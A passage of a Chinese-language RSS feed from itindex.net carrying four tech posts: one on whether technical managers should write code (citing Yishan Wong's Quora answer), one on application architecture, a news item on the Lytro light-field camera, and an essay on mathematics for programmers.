      <guid isPermaLink="true">https://itindex.net/detail/36551-%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E-%E6%97%B6%E4%BB%A3-%E8%BF%87%E5%8E%BB%E5%BC%8F</guid>
      <pubDate>Thu, 15 Mar 2012 15:40:20 CST</pubDate>
    </item>
    <item>
      <title>技术管理者应不应该写代码？</title>
      <link>https://itindex.net/detail/39213-%E6%8A%80%E6%9C%AF-%E7%AE%A1%E7%90%86-%E4%BB%A3%E7%A0%81</link>
      <description>&lt;p&gt;我相信所有新晋的技术经理，都做过Team的工期紧张，自己加班动手写Code的事情，这种事情我自己也没少干过，事实上，偶尔我自己仍然会在critical的项目上写一些代码。相信不少同志们还引以为荣，并且不少技术管理的书上，对于技术管理人员是否应该去写代码也有不同的观点，有些认为不应该写，有些认为一定要写一点避免脱离群众外行指挥内行。我之前也一直犹犹豫豫有时候写点有时候逼着自己不写，但是黄易山在Quora上的这个回答，最终还是让我有了“还写砍手”的自我提醒。&lt;/p&gt;
 &lt;p&gt;理性上，我完全同意黄易山的观点，写工具是可以的，但是在deadline下写项目代码是对团队和个人都长期不利的，虽然也许短期内对自己的KPI有利。但是过去克制不住的愚蠢和冲动时不时让我冲到critical的项目上写一两个模块，但是每次反思，其实我知道这样对整个团队的效率，以及我自己的成长没有太大帮助。事实上，从这些项目中技术经理个人是得不到成长，还不如写点工具对自己的帮助大，原因就是为了进度压力，技术经理去写代码只能是重复自己已经做过的事情。而写代码本身是需要大片完整时间的，会占用掉大量你本来应该做的事情的时间。&lt;/p&gt;
 &lt;p&gt;也请认识我的朋友们监督我，如果还看到我在critical项目中冲进去写很多代码，阻止我一次请杯咖啡。&lt;/p&gt;
 &lt;hr&gt;&lt;/hr&gt;
 &lt;h3&gt;  &lt;a href="http://www.quora.com/Engineering-Management/After-becoming-a-manager-how-do-you-continue-to-maintain-your-technical-skills" target="_blank"&gt;成为一个经理之后，你如何继续保持你的技术能力？&lt;/a&gt;&lt;/h3&gt;
 &lt;p&gt;  &lt;a href="http://www.quora.com/Yishan-Wong" target="_blank"&gt;黄易山&lt;/a&gt;，一个前技术总监&lt;/p&gt;
 &lt;p&gt;作为一个足够大的团队的经理，你不应该继续写代码。我辅导过许多新晋的技术经理，我总是告诉他们 —— 当一个团队大于~4个人的时候，他们不应该再去写代码并且要抵制自己写代码的冲动。&lt;/p&gt;
 &lt;p&gt;原因在于，当你的团队遇到死命令的时候（比如，交付日期），一个年轻的经理很可能会被诱惑退回到他/她的舒适区中去解决问题。那就是，相较于做困难的(并且在时间上看来是很有风险的)更好地组织，激励团队，以及不管什么需要他们去做的“经理的工作”，他们立刻卷起袖子，熬夜加班，通过自己写代码来将项目完成。之所以这很糟糕是因为当像这样的艰难时刻出现的时候，恰恰是一个新的经理需要学习如何  &lt;em&gt;有效地管理&lt;/em&gt;，并避免退回去使用他们的旧的技能的时候。如果他们诉诸于使用他们的技术能力来帮助他们的团队，他们永远不会学会变成一个卓有成效的经理。  &lt;strong&gt;这是一个那些前工程师是否最终成长为一个好的经理的至关重要的分界点。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;除此之外，保持你的技术能力是非常简单明确的。&lt;/p&gt;
 &lt;p&gt;第一件事就是你真的不需要太担心失去你的优势。如果你过去干得不错，你不会像你想象地那样生锈的。在管理岗位上呆了2年+之后（并且担心这个问题），我加入了另一个公司并且重新回到了一个直接写代码的角色上，我发现非常奇怪地是，我的技术能力  &lt;em&gt;进步&lt;/em&gt;了。如果你是一个深入参与技术的技术经理，显然从一个更广的团队层面思考软件管理是有助于将通用的概念在一个更高的层面上组织起来的，并对回过来进行个人实践是有帮助的。另一方面，我并不知道如果你在管理岗位上呆上比如10年之后这一点是否仍然还是对的。&lt;/p&gt;
 &lt;p&gt;第二种方法就是写代码。但是，你不能为有交付期限的关键项目写代码。那就是说，你不应该为你的团队“需要”来贡献代码。这就时我在本文早先部分的答案——对于你的团队需要交付的项目，你应该通过  &lt;em&gt;更好地管理&lt;/em&gt;来提供贡献，而不是写代码。取而代之的是，你应该写一些内部工具或者为非关键项目写代码（也许是另一个团队的非正式的架子）。这些可以和那些有最后期限或者关键业务项目一样在技术上非常复杂，所以你无需担心你无法从合适的技术和算法中得到经验。或者，你可以在家里的空闲时间里写无关的技术项目。这是我第一次当经理时候选择的方法，在我的休息时间，我创建了一家创业公司并且学了一门新语言，以及关于可扩展性和数据库的许多东西。&lt;/p&gt;
 &lt;p&gt;所以，你可以用你一直用的方法来保持你的技术能力，写代码。只是  &lt;em&gt;不要为你的团队写代码&lt;/em&gt;。&lt;/p&gt;
 &lt;hr&gt;&lt;/hr&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>Tech Work management</category>
      <guid isPermaLink="true">https://itindex.net/detail/39213-%E6%8A%80%E6%9C%AF-%E7%AE%A1%E7%90%86-%E4%BB%A3%E7%A0%81</guid>
      <pubDate>Tue, 14 Aug 2012 00:21:47 CST</pubDate>
    </item>
    <item>
      <title>莫要轻视应用架构</title>
      <link>https://itindex.net/detail/37169-%E5%BA%94%E7%94%A8-%E6%9E%B6%E6%9E%84</link>
      <description>&lt;p&gt;在管理大规模数据处理工作的时候，发现不少工程师，包括一些老工程师，某种程度上，都对工作有着某种程度上的轻视，常常的口头禅是“这个技术上没有什么难度”，但是我其实不太认同，所谓数据处理，在技术上没有什么难度这种说法。&lt;/p&gt;
 &lt;p&gt;的确，在这个MapReduce的基础架构已经被Google设计清楚，由Doug Cutting通过Hadoop完善实现了之后，似乎大数据处理变成了一份体力工作。似乎工程师需要做的，只是写写简单的字符串解析，以及统计逻辑，对于外边很多人觉得看起来很美的工作，一旦实际接触后，常常又会觉得颇为无聊。不过，从我过去的经验来看，很多工程师也是这样对待Web时代的Struts和Spring，搜索时代的分词器，Lucene。大量算得上不错的工程师，通常当熟练运用已有的技术，在一个特定模式下工作后，就会开始觉得工作无，然而颇为遗憾的是，一旦成为一个熟练工种之后，很多人便开始停滞不前了，原先不熟悉框架的时候，他们需要10天摸索才能完成一个功能，现在熟练了，他们只需要3天了，但是之后，他们再也不能缩短开发时间，同时，他们的Bug数量也不会变少，当有新的需求出现的时候，通常第一反应就是套入到当前框架种处理，我通常称之为“1年经验重复10遍”。&lt;/p&gt;
 &lt;p&gt;有些工程师在进入这样的状况后，往往会寻求找一些新的工具、框架以及工作内容，通常，这意味着换一份工作，或者换一个开发团队，但是在新工作或者新团队下，一般在度过了一年蜜月期之后，会再次陷入“其实也就那样都是些体力劳动”状况，这种情况我一般称之为“八大菜系都吃过你也不是一个好厨子”，这个情况比“1年经验重复10遍”会好一些，但是仍然是一个糟糕的循环。&lt;/p&gt;
 &lt;p&gt;还有些工程师，会去研究所依赖的基础框架的源代码，开始依样画葫芦，搞些新轮子出来，部分热衷造轮子的同学会对所有的项目都造同样的轮子出来，这种情况我称之为“轮子爱好者”。&lt;/p&gt;
 &lt;p&gt;然而遗憾的是，这几种情况，其实都不是一个正确的，提高一个程序员解决问题水平的正常路线，这些方法也许能够帮助你从一个水准一般的程序员，变成一个还不错甚至算得上优秀的程序员，但是不能帮助你跨过平台，成为一个真正优秀的明星程序员，或者用个被用得糟烂的词——“架构师”。&lt;/p&gt;
 &lt;p&gt;这些程序员不少最终会觉得写程序是个没前途的事情，觉得只能往Manager这一条黑道上挤，从此，世界上少了一个本有希望能够贡献杰出代码的人。事实上，真正想要成为更优秀的工程师，需要做的，是在应用架构层面，去提高生产效率，乃至支持更多更强大的功能。区分真正优秀的程序员和普通程序员的差异，往往在于，是否能够真正地找到契合问题域的解决方案，通常这样的解决方案，能够在数量级上减少实际的开发工作。想像一下用EJB2做PetStore，再到用Struts，再到用Struts2/WebWork，再到用SpringMVC，乃至使用Rails。&lt;/p&gt;
 &lt;p&gt;“1年经验重复10遍”会每天反复操练EJB2，“八大菜系都吃过你也不是一个好厨子”会用JSP,Servlet,EJB2,Struts,PHP,C#.NET，“轮子爱好者”会看到Struts之后轮一个和Struts差不多的。但是真正优秀的程序员，能够改进Struts的不足，搞出WebWork，乃至Rails。这并不意味着你一定要很Fancy地去搞Google面试一样研究很多算法，也不需要你一定多熟悉编译原理，操作系统这样的底层技术，也不需要你18般武艺样样稀松地去看PHP和C#。你需要的是，在有了解决方案之后，仔细思考，真正理解问题域，寻求能够更好地满足问题域的解决方案，从细节上改进现有问题域的解决方案。这是来自我的教训，事实上，前面的三种陷阱我都荒废了不少时间，直到近两年，才愈发觉得无论是反复操练熟练工，还是18般武艺样样稀松的都会一些，甚或是轮一些别人轮过的轮子，都不是能让自己真正跨出成为顶尖程序员的一步。真正要解决好问题，交付出有价值的程序和框架，还是要回到问题域去。&lt;/p&gt;
 &lt;p&gt;这也是我喜欢Twitter技术团队以及推崇Nathan Marz的原因，无论是ElephantBird，Finagle，还是Storm，都不是庞然大物般的程序，而是贴近问题域，合理解决问题域的解决方案，也是从技术角度，希望自己能够在最近两年里能够达到的水准。&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>Life Tech Work</category>
      <guid isPermaLink="true">https://itindex.net/detail/37169-%E5%BA%94%E7%94%A8-%E6%9E%B6%E6%9E%84</guid>
      <pubDate>Fri, 20 Apr 2012 23:29:49 CST</pubDate>
    </item>
    <item>
      <title>Lytro光场照相机允许先拍照后对焦</title>
      <link>https://itindex.net/detail/30816-lytro-%E5%85%89%E5%9C%BA-%E7%85%A7%E7%9B%B8%E6%9C%BA</link>
      <description>影像科学家Ren Ng多年研究终于结出果实。他创办的公司Lytro宣布推出第一款利用高分辨率图像传感器捕捉光场的数字照相机，能在拍照之后无限次的重新对焦。新技术有可能彻底改变人们如何拍摄照片。 Lytro照相机形状为铝制小矩形管，一端是f/2镜头，另一端是2英寸触摸屏。照相机有一个电源和快门按钮，以及一个控制镜头八倍缩放的滑块，没有光圈、快门调速和对焦——因为照相机不需要。传统照相机是通过将光线聚焦到传感器上的镜头捕捉三维空间的平面图像，记录的是二维色彩点阵。Ng（在斯坦福获得博士学位）和同事研发出Stanford Multi-Camera Array，阵列包含了数以百计的CMOS传感器，能记录整个场景中的光线颜色、强度和方向，这些光线聚合形成了场景的光场，允许用户在拍照后对焦。光场照相机目前接受预购，8GB版399美元，16GB版499美元。&lt;img width="1" height="1" src="http://solidot.org.feedsportal.com/c/33236/f/556826/s/1971713f/mf.gif" border="0"&gt;&lt;div&gt;&lt;table border="0"&gt;&lt;tr&gt;&lt;td valign="middle"&gt;&lt;a href="http://res.feedsportal.com/viral/sendemail2.html?title=Lytro%E5%85%89%E5%9C%BA%E7%85%A7%E7%9B%B8%E6%9C%BA%E5%85%81%E8%AE%B8%E5%85%88%E6%8B%8D%E7%85%A7%E5%90%8E%E5%AF%B9%E7%84%A6&amp;amp;link=http%3A%2F%2Fhardware.solidot.org%2Farticle.pl%3Fsid%3D11%2F10%2F21%2F0341231%26amp%3Bfrom%3Drss"&gt;&lt;img src="http://res3.feedsportal.com/images/emailthis2.gif" border="0"&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign="middle"&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark.cfm?title=Lytro%E5%85%89%E5%9C%BA%E7%85%A7%E7%9B%B8%E6%9C%BA%E5%85%81%E8%AE%B8%E5%85%88%E6%8B%8D%E7%85%A7%E5%90%8E%E5%AF%B9%E7%84%A6&amp;amp;link=http%3A%2F%2Fhardware.solidot.org%2Farticle.pl%3Fsid%3D11%2F10%2F21%2F0341231%26amp%3Bfrom%3Drss"&gt;&lt;img src="http://res3.feedsportal.com/images/bookmark.gif" border="0"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br&gt;&lt;br&gt;&lt;a href="http://da.feedsportal.com/r/115975331021/u/49/f/556826/c/33236/s/1971713f/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/115975331021/u/49/f/556826/c/33236/s/1971713f/a2.img" border="0"&gt;&lt;/a&gt;&lt;div&gt;
&lt;a href="http://feeds.feedburner.com/~ff/solidot?a=v48o1WAl9CQ:Bsg1g3WbjYE:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/solidot?d=yIl2AUoC8zA" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/solidot?a=v48o1WAl9CQ:Bsg1g3WbjYE:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/solidot?d=7Q72WNTAKBA" border="0"&gt;&lt;/a&gt;
&lt;/div&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/30816-lytro-%E5%85%89%E5%9C%BA-%E7%85%A7%E7%9B%B8%E6%9C%BA</guid>
      <pubDate>Fri, 21 Oct 2011 11:42:00 CST</pubDate>
    </item>
    <item>
      <title>作为一个程序员，数学对你到底有多重要</title>
      <link>https://itindex.net/detail/28270-%E4%BD%9C%E4%B8%BA-%E7%A8%8B%E5%BA%8F%E5%91%98-%E6%95%B0%E5%AD%A6</link>
      <description>&lt;p&gt;每个计算机系毕业的人，大都学过不少数学课，而且不少学校的计算机系的数学课，通常比一般的其他工科专业的数学要难一些，比如不上高等数学，而是学数学分析，不上线性代数而去上高等代数。但是，大部分毕业了后去做程序员的人，即使是所谓的名校计算机系毕业的，大都工作中也基本完全用不上学的那些数学，基本上，一半时间在CRUD，另一半时间在处理各类字符串、链表、Hash表，知道在面试中回答各种排序的时间复杂度是他们需要的数学的上线了。&lt;/p&gt;
&lt;p&gt;而在念书的时候，虽然上大学之前，有不少内行的外行的，年老的年轻的人告诉你，数学很重要啊。但是，通常来说，各个学校的计算机系的同学么，爱好学习的，可能重视的也是Thinking in Java，C++ Primer之类的语言书，或者设计模式之类的架构书，抑或是算法与数据结构这些玩意儿；而像我这样天天偷懒放羊的，也不会把数学当作是什么重要的课程好好学习。所以，“数学真重要”，这句话，似乎对于大家来说，始终只是飘在天上的一句话，随风飘逝了。&lt;/p&gt;
&lt;p&gt;于是，五年过去了，程序员们都有了不少的工作经验了，如果不是对工作毫无追求混吃等死的程序员的话，对于天天干活的语言，不论是Java还是C++应该都熟能生巧了，所谓的设计模式、重构、自动化测试等等也手到擒来了，大部分人的title上都加上了Senior了，牛一点的后面大概还跟上了一个Manager，然而，大家都开始考虑一个新的问题——“30岁以后怎么半？”，于是，转PM的转PM，考公务员的考公务员，像我这样仍然抱定——“你看人家美国Rohit都50了还不是天天写程序，别人想请还请不到的”的单纯想法的人越来越少了。然后，就算这些人，时不时也会觉得，自己天天干的超越CRUD的，所谓写点OO的框架，不也是很无聊的体力活么，写程序的人干两年谁都会干。于是，又有不少人下海创业了，多年以后，这些人中的大部分都会和我一样悲催的没有挣到前继续回来给大大小小的公司写程序。&lt;/p&gt;
&lt;p&gt;其实，杯具往往发生在一开始，其实，要是咱们当年好好学习，才会发现，也许数学对于你当个不错的程序员来说，没那么重要，但是要再往上走一步，有一点点技术上的创新，就都是数学的事儿了。两年前，我在T公司，用Configurator处理某个程序的时候，开始有点儿意识到这一点了，于是，那阵子还花了不少时间重新翻了翻数理逻辑。今年，换了新工作后为了工作看点儿机器学习的东西的时候，终于发现，这全都是数学啊。当你要超越CRUD，做任何一点点有创新性的技术的时候（不说产品），最有机会遇到的问题，其实是数学问题。虽然从Spring到Hibernate到Rails之类的框架，或者Hadoop，HBase之类的分布式计算框架，也都是技术上的重大革新，但是这些框架类的程序，完善都是阶段性的，一旦出现后，很快都会有相应的Best Practice，又会成为熟练工种的活。而真正针对问题域的解答，反是每天都可以有些新鲜的想法、思路和方案的，这些，往往有个数学的门槛。所以如果你真是挺喜欢写程序的，而且希望自己一直能写更好玩更难的程序，总有一天，你要过了这一道坎儿。&lt;/p&gt;
&lt;p&gt;所以我很是同意不知道是谁说得，如果你只想当个good programmer，那么数学不重要。但是如果你想当个great programmer，那么数学很重要。在你手里只有锤子的时候，你看什么东西都会是个钉子，想想你如果没有学过算法和数据结构，可能你的大部分程序需要自己写排序的话，都会是傻傻地冒泡吧，反正对于大部分程序来说，在现在这么快的PC下，这点时间差别，大部分情况下，也就是让你等程序执行测试的时候，多个倒杯水的时间。但是很多新鲜，好玩，有挑战的问题，很多数学的概念没有的话，恐怕不是多等个倒水的时间了。而如果你过了这个门槛，你又会发现，一个崭新的世界，又到了你的面前。&lt;/p&gt;
&lt;p&gt;回过头来，我说数学重要的话，那么重要的是哪些呢？大家常说的通常是离散数学，不过最近比较热门的机器学习这个方向，我目前看到的相关资料都大量依赖于线性代数和概率论，以及一点点微积分。所以，如果你和我一样，希望做点有追求的技术工作的话，开始花点时间学习数学吧。其实万事开头难，也许你和我一样，对着一堆公式符号，感到头晕眼花，但是如果真得按下心来，看上一个小时，这么坚持个一周，其实就会发现，这没啥难的，就当学门新的编程语言得了。&lt;/p&gt;
&lt;p&gt;PS：如果在google中搜索&lt;a href="http://www.google.com/#sclient=psy&amp;amp;hl=en&amp;amp;site=&amp;amp;source=hp&amp;amp;q=%E7%A8%8B%E5%BA%8F%E5%91%98+%E6%95%B0%E5%AD%A6&amp;amp;aq=f&amp;amp;aqi=&amp;amp;aql=&amp;amp;oq=&amp;amp;pbx=1&amp;amp;fp=4565d1ad08660d4d"&gt;程序员 数学&lt;/a&gt;的话，第一个链接是&lt;a href="http://article.yeeyan.org/view/pluto/2365"&gt;程序员怎样学数学&lt;/a&gt;，我觉得这篇文章写得相当不错。我也非常同意，广度有限比较有效，容易激发学习的兴趣，而且能和实际的工作和现实世界的问题、项目相结合。&lt;/p&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>Tech Math Programming</category>
      <guid isPermaLink="true">https://itindex.net/detail/28270-%E4%BD%9C%E4%B8%BA-%E7%A8%8B%E5%BA%8F%E5%91%98-%E6%95%B0%E5%AD%A6</guid>
      <pubDate>Tue, 01 Feb 2011 22:58:08 CST</pubDate>
    </item>
  </channel>
</rss>

